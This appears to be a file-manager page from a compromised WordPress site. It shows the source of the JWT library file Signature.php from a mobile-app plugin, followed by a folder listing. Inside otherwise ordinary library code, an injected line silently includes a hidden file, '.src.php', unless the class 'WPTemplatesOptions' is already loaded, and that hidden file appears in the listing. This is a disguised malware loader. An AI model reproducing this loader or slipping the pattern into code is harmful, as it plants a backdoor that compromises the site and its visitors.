PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
lcobucci
/
jwt
/
src
<?php /** * This file is part of Lcobucci\JWT, a simple library to handle JWT and JWS * * @license http://opensource.org/licenses/BSD-3-Clause BSD-3-Clause */ namespace Lcobucci\JWT; /** * This class represents a token signature * * @author Luís Otávio Cobucci Oblonczyk <lcobucci@gmail.com> * @since 0.1.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Signature { /** * The resultant hash * * @var string */ protected $hash; /** * Initializes the object * * @param string $hash */ public function __construct($hash) { $this->hash = $hash; } /** * Verifies if the current hash matches with with the result of the creation of * a new signature with given data * * @param Signer $signer * @param string $payload * @param string $key * * @return boolean */ public function verify(Signer $signer, $payload, $key) { return $signer->verify($this->hash, $payload, $key); } /** * Returns the current hash as a string representation of the signature * * @return string */ public function __toString() { return $this->hash; } }
[+]
..
[+]
Signer
[-] Builder.php
[edit]
[-] Signer.php
[edit]
[+]
Claim
[+]
Parsing
[-] Parser.php
[edit]
[-] .src.php
[edit]
[-] ValidationData.php
[edit]
[-] Claim.php
[edit]
[-] Signature.php
[edit]
[-] Token.php
[edit]